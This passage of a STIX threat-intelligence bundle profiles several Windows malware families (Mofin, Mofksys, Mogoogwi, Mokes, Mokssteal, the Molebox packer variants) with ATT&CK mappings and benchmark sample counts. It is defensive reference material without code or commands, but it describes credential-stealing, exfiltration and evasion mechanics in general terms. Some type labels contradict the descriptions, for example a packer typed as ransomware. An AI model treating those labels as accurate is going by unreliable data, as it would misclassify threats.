'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mofin reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mofin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mofin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afc53a38-bfe1-5ee7-b4ac-689f030306a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d1dc712-4f10-5138-b651-acb7ebd8cd1f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mofin exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6795611-b2a5-55e7-aea1-25d13c2e49a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d1dc712-4f10-5138-b651-acb7ebd8cd1f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mofin exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d799bb2-029c-5d7f-aebf-951f12527117",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d1dc712-4f10-5138-b651-acb7ebd8cd1f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mofin exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52eb54a1-3981-5d18-ba60-97c741658f7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d1dc712-4f10-5138-b651-acb7ebd8cd1f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mofin exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96f06318-b0db-54a2-8bb5-4c9065360d88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4d1dc712-4f10-5138-b651-acb7ebd8cd1f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mofin exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--96d35fa9-de90-523e-9065-40987fa13833",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mofksys",
      "description": "Mofksys (classified as Worm:Win32/Mofksys across Microsoft Defender, Sophos, and Kaspersky) is an evasive network and removable drive worm targeting Windows systems. Mofksys spreads by copying itself to root directories of connected USB flash drives and external hard drives along with weaponized autorun.inf files or masqueraded LNK shortcut files. Once launched on a victim endpoint, Mofksys deploys Managed Object Format (MOF) files (.mof) and Windows Management Instrumentation (WMI) event subscriptions to achieve high-privilege persistent execution. Mofksys disables security monitoring tools, creates backdoors, and connects to remote command-and-control servers to download follow-on malicious payloads. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Mofksys",
        "Trojan:Win32/Mofksys",
        "Win32/Mofksys",
        "Mofksys Worm",
        "Worm.Mofksys"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mofksys",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mofksys"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8da74b1e-25a4-547e-b532-e88ed8cfb791",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96d35fa9-de90-523e-9065-40987fa13833",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mofksys exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c23616b-a9c7-5913-921e-974456c07180",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96d35fa9-de90-523e-9065-40987fa13833",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mofksys exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2520fe80-3931-593f-8cd8-981f88289daf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96d35fa9-de90-523e-9065-40987fa13833",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mofksys exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--328ec852-8be7-53c6-8198-9566705bf115",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96d35fa9-de90-523e-9065-40987fa13833",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mofksys exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd794b9a-4e30-5c9f-aa11-df46cae764dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--96d35fa9-de90-523e-9065-40987fa13833",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mofksys exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--26f3b4e6-2d78-5fec-ba0b-778562f760cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mogoogwi",
      "description": "Mogoogwi (cataloged across antivirus vendors under signatures including Worm:Win32/Mogoogwi, Worm:Win32/Mogoogwi.A, and Trojan:MSIL/Mogoogwi.A) is an aggressive Windows worm and trojan active since 2015. Known for propagating rapidly across local networks and removable USB storage devices, Mogoogwi copies itself to the root of connected flash drives, disguises its binaries within hidden directories, and generates deceptive .lnk shortcut files mimicking folders (such as fake 'Google Chrome' or 'Downloads' folders) to induce user execution. Once active on an endpoint, Mogoogwi modifies the Windows Firewall policy, establishes persistent autostart keys under CurrentVersion\\Run, and queries host system configurations. It communicates with remote command-and-control servers to download secondary malicious components, including information stealers and cryptocurrency miners. (Observed samples in benchmark: 66)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Mogoogwi",
        "Worm:Win32/Mogoogwi.A",
        "Trojan:MSIL/Mogoogwi.A",
        "Win32/Mogoogwi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mogoogwi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mogoogwi"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--379df35c-cddc-5efe-84d0-84b7955bd5bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26f3b4e6-2d78-5fec-ba0b-778562f760cc",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mogoogwi exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01ece2d6-d317-5856-89e2-71248c27b7c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26f3b4e6-2d78-5fec-ba0b-778562f760cc",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mogoogwi exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33e5dd00-136b-599b-824c-ab99124151af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26f3b4e6-2d78-5fec-ba0b-778562f760cc",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mogoogwi exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--61a5a2ce-7f03-5667-b378-a71c9056e8ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26f3b4e6-2d78-5fec-ba0b-778562f760cc",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mogoogwi exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d2a5154-9206-5bb7-acaa-cd7bcdce1ddb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--26f3b4e6-2d78-5fec-ba0b-778562f760cc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mogoogwi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3354f29a-70cb-5d36-b971-17252a27a4c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mokes",
      "description": "Mokes (extensively analyzed by Kaspersky Lab under Backdoor:Win32/Mokes.a, Backdoor.OSX.Mokes, and Backdoor.Linux.Mokes) is a sophisticated multi-platform remote access backdoor and surveillance framework first discovered in 2016. Written in C++ utilizing the Qt cross-platform application framework, Mokes was engineered to target Windows, macOS, and Linux operating systems with near-identical surveillance capabilities. Once executed on Windows, Mokes decrypts AES-256 strings in memory, establishes persistence via the CurrentVersion\\Run registry key, and connects to remote C2 servers over TCP port 443 with custom encryption. Mokes implements exhaustive espionage modules including continuous keystroke logging, scheduled desktop screenshots, microphone audio capture, webcam surveillance, monitoring removable drives for Office documents, and exfiltrating harvested files packaged inside encrypted temporary archives. (Observed samples in benchmark: 35)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Mokes.A",
        "Backdoor:Win32/Mokes",
        "Backdoor.OSX.Mokes",
        "Backdoor.Linux.Mokes",
        "Trojan.Mokes",
        "Win32/Mokes"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mokes",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mokes"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c191cb59-cf34-5b32-ba52-4900b8756f6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mokssteal",
      "description": "PWS:Win32/Mokssteal is a highly specialized Password Stealer (PWS) and Information Stealer (Infostealer) trojan designed to silently harvest and exfiltrate credentials, cookies, and sensitive configuration files from infected endpoints. Unlike generic trojans, Mokssteal specifically targets web browser password stores, FTP clients, and email applications, packaging the stolen data for rapid sale on underground cybercriminal forums (like Genesis Market or Russian Market).<br><br><b>Understanding the Mokssteal Infostealer</b><br>To an end-user, a Mokssteal infection is entirely invisible. There are no pop-ups, no ransom notes, and the system continues to function normally. For a security analyst, a Mokssteal detection is a 'code red' credential compromise event. The malware is designed for rapid execution; it 'smash and grabs' the credentials and immediately exfiltrates them, often completing its objective within seconds of execution.<br><br><b>Execution and Exfiltration Mechanics</b><br>Mokssteal is typically distributed via weaponized phishing attachments (like macro-enabled Office documents or malicious PDFs) (`T1566.001`) or as a secondary payload dropped by an Initial Access Broker. Upon execution (`T1204.002`), it attempts to evade detection by disabling Windows Defender (`T1562.001`). It then systematically queries the SQLite databases used by Chromium-based and Firefox browsers to store saved passwords, cookies, and autofill data (`T1555.003`). It also targets the configuration files of FTP clients (like FileZilla) and email clients (like Outlook or Thunderbird) (`T1552.001`). The harvested data is compressed into a ZIP archive and exfiltrated via HTTP POST requests to a Command and Control (C2) server or dropped directly into a Telegram bot channel (`T1048.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the catastrophic loss of user credentials and session cookies, which frequently leads to Account Takeover (ATO) and lateral movement into corporate networks. EDR logs will flag an anomalous process accessing multiple browser database files (`Login Data`, `Cookies`) in rapid succession. Network IoCs include a brief burst of outbound HTTP/HTTPS traffic or Telegram API connections containing an encrypted archive immediately following the execution of an unknown binary. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mokssteal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mokssteal"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4270dcc1-b17c-5da6-be3c-349c0831d4fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c191cb59-cf34-5b32-ba52-4900b8756f6e",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mokssteal exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a17dc787-5711-545a-a429-d6aa6a66ba7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c191cb59-cf34-5b32-ba52-4900b8756f6e",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mokssteal exhibits technique T1539 (Steal Web Session Cookie)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab52c066-ef03-5062-b05f-ff740fc484c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c191cb59-cf34-5b32-ba52-4900b8756f6e",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mokssteal exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Telegram API / HTTP POST))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02f8a57d-ef66-57c8-9ad0-6417d586c5c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c191cb59-cf34-5b32-ba52-4900b8756f6e",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mokssteal exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1ece4362-2843-58f3-826a-c9182fa15467",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Molebox",
      "description": "<h3>Executive Summary</h3>\nMolebox is a dual-use technology. Originally developed as a legitimate commercial software virtualization and packing utility (designed to bundle applications into a single executable and protect them from reverse engineering), its capabilities are heavily abused by cybercriminals. Threat actors utilize Molebox as a \"crypter\" to obfuscate known malware strains, intentionally breaking signature-based antivirus detection before deploying the malware into target environments.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMolebox itself is not malware; it is the *wrapper* around the malware. When a security engine flags a file as \"Molebox,\" it means the file is packed using this specific virtualization technology, which is a strong indicator of suspicious intent if the underlying software is not a known, legitimate commercial application.\n\nTechnically, Molebox operates as a user-mode hypervisor:\n<ul>\n<li><strong>Virtual File System and Registry:</strong> Molebox packages an application's required DLLs, data files, and registry entries into a single, encrypted container. When executed, it creates a virtual environment in memory.</li>\n<li><strong>In-Memory Execution:</strong> The packaged software (the malware) runs entirely within this virtualized memory space. It intercepts the malware's API calls (like `CreateFile` or `RegOpenKey`) and redirects them to the virtual container.</li>\n<li><strong>Evasion:</strong> Because the malicious payload is never written to the physical hard drive in its unencrypted form, traditional file-scanning antivirus solutions cannot analyze it, allowing the malware to execute stealthily.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of a Molebox-packed executable in a corporate environment (where its use is not explicitly authorized for specific internal applications) should be treated as a high-severity alert. It strongly implies an active attempt to bypass endpoint security controls to deploy an unknown, potentially highly destructive payload.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Isolation and Triage:</strong> Isolate the endpoint. Do not attempt to run the file to see what it does.</li>\n<li><strong>Dynamic Analysis (Sandboxing):</strong> The only effective way to determine the true nature of a Molebox-packed file is to execute it in a secure, isolated malware sandbox (e.g., Cuckoo Sandbox) and observe its behavioral telemetry (network connections, process injection).</li>\n<li><strong>EDR Behavioral Monitoring:</strong> Ensure that enterprise EDR solutions are configured to monitor for process hollowing and anomalous in-memory execution, as these behavioral indicators are often the only way to detect the underlying malware once it \"unpacks\" itself in memory.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Packer.Molebox",
        "Tool.Virtualization",
        "Win32/Packed.Molebox"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Molebox",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/molebox"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a22f6426-e6c3-543e-a797-59a722490c40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ece4362-2843-58f3-826a-c9182fa15467",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Molebox exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c99dabbe-610b-58b7-9a14-33428f639962",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ece4362-2843-58f3-826a-c9182fa15467",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Molebox exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--caa96c64-30a4-55a4-afbd-b4ea3116ba38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ece4362-2843-58f3-826a-c9182fa15467",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Molebox exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c44e1cc9-043f-540c-8834-92b6724c2e76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ece4362-2843-58f3-826a-c9182fa15467",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Molebox exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e240c4ce-1878-5ece-a09b-241bbe9d1625",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ece4362-2843-58f3-826a-c9182fa15467",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Molebox exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe4db126-1304-5e7e-8a7c-ba0497b21486",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1ece4362-2843-58f3-826a-c9182fa15467",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Molebox exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8a7a2c81-95a4-5b3d-a53a-a19f79de4f73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Moleboxultra",
      "description": "HackTool:Win32/Moleboxultra refers to the detection of a specific commercial software protector and packer, known as MoleBox, which is frequently abused by malware authors. MoleBox is designed to encapsulate an application and all its data files into a single, encrypted executable (`T1027.002`). While legitimate developers use it for DRM and to prevent reverse engineering, attackers use it to hide the true signature and behavior of their malware from antivirus engines.<br><br><b>Understanding Moleboxultra (Packers and Obfuscators)</b><br>To an end-user, there is no visible impact. For a SOC analyst, a Moleboxultra detection implies that a highly obfuscated file has entered the environment. The AV engine successfully identified the *wrapper* (the MoleBox packer), but the *actual payload* hidden inside remains unknown until it is unpacked in memory or analyzed dynamically.<br><br><b>Execution and Evasion Mechanics</b><br>When a MoleBox-packed executable runs, it acts as a virtual file system. It decrypts the embedded payload directly into memory (`T1027.002`) and executes it without ever writing the unencrypted malicious code to the hard drive (`T1055`). This effectively blinds traditional, static antivirus scanners that rely on file hashes. The payload inside could be anything\u2014from a simple Adware dropper to a devastating Ransomware encryptor.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden payload. Host-based IoCs require dynamic analysis. EDR tools will often flag the execution because the unpacking process involves suspicious memory allocations and execution patterns (e.g., a process dynamically allocating memory as `PAGE_EXECUTE_READWRITE` and jumping execution to it). Because MoleBox is a commercial tool, its stub often contains recognizable strings, which is how AV engines flag it heuristically. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Moleboxultra",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/moleboxultra"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--762a8c2a-5bb1-59a1-9ded-3b98a1b0b4b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a7a2c81-95a4-5b3d-a53a-a19f79de4f73",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moleboxultra exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (The primary function of MoleBox))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2de106bb-72bd-5f24-ba99-c4ead2cec08b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a7a2c81-95a4-5b3d-a53a-a19f79de4f73",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moleboxultra exhibits technique T1055 (Process Injection (Unpacking and executing the payload directly in memory))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ee7d666-0813-5d99-9977-222ef00b7fa5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a7a2c81-95a4-5b3d-a53a-a19f79de4f73",
      "target_ref": "attack-pattern--ed3e1a5f-06b6-507d-9fd6-af71cc9084a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Moleboxultra exhibits technique T1140 (Deobfuscate/Decode Files or Information (The malware's runtime behavior))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6aae9bd4-191d-50bc-82fa-f91baaa0b297",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Moleboxvs",
      "description": "HackTool:Win32/Moleboxvs (or simply **Molebox**) is a heuristic detection for executable files that have been packed, encrypted, or virtualized using the 'Molebox Virtualization Solution'. While Molebox was originally a legitimate commercial software protection tool designed to prevent reverse engineering and piracy of games/apps, its powerful virtualization capabilities have been heavily abused by threat actors to create 'Fully Undetectable' (FUD) malware wrappers.<br><br><b>Understanding Molebox Abuse</b><br>To an end-user, a Moleboxed file looks and runs like a normal `.exe`. For a security analyst, a Molebox detection is a major red flag, especially if found outside of a known, legitimate software installation folder. Because Molebox bundles all DLLs, data files, and the main executable into a single, encrypted, virtualized file container, static antivirus signatures are completely blind to the true payload hidden inside.<br><br><b>Execution and Virtualization Mechanics</b><br>When the victim executes the packed file (`T1204.002`), the Molebox loader starts first. It decrypts and unpacks the true malicious payload (e.g., a banking trojan or a RAT) directly into a virtual, isolated memory space (`T1027.002`). It utilizes heavy API hooking 